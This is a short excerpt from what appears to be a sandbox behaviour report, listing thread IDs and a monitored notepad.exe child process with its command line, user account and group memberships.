0x11e0 Thread: id = 101 os_tid = 0xd28 Thread: id = 103 os_tid = 0xd88 Thread: id = 104 os_tid = 0xd94 Thread: id = 105 os_tid = 0x11bc Process: id = "10" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x1555f000" os_pid = "0x4bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\WINDOWS\\system32\\NOTEPAD.EXE\" C:\\Users\\FD1HVy\\Desktop\\temp000000.txt" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 99 os_tid = 0x518 Thread: id = 100 os_tid = 0xcfc Thread: id = 102 os_tid = 0xd00 Thread: id = 106 os_tid = 0xa48 Thread: id = 107 os_tid = 0xb24